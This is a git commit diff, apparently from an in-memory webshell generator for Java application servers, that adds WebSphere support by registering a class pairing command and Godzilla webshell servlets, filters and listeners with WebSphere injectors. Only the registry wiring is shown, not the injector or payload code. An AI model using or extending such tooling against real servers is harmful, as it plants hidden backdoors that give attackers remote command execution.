feat: support websphere shell generate (#2)

This commit is contained in:
ReaJason
2024-12-21 19:54:31 +08:00
parent 2e08e5fd22
commit debbbd5305
12 changed files with 1000 additions and 10 deletions
@@ -1,13 +1,6 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.memshell.AbstractShell;
import com.reajason.javaweb.memshell.GlassFishShell;
import com.reajason.javaweb.memshell.JbossShell;
import com.reajason.javaweb.memshell.JettyShell;
import com.reajason.javaweb.memshell.PayaraShell;
import com.reajason.javaweb.memshell.ResinShell;
import com.reajason.javaweb.memshell.TomcatShell;
import com.reajason.javaweb.memshell.UndertowShell;
import com.reajason.javaweb.memshell.*;
import lombok.Getter;
/**
@@ -50,7 +43,7 @@ public enum Server {
/**
* WebSphere 中间件
*/
WebSphere(null),
WebSphere(new WebSphereShell()),
/**
* WebLogic 中间件
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class WebSphereShell extends AbstractShell {
@Override
public List<ShellTool> getSupportedShellTools() {
return List.of(ShellTool.Command, ShellTool.Godzilla);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class),
Constants.FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
);
}
}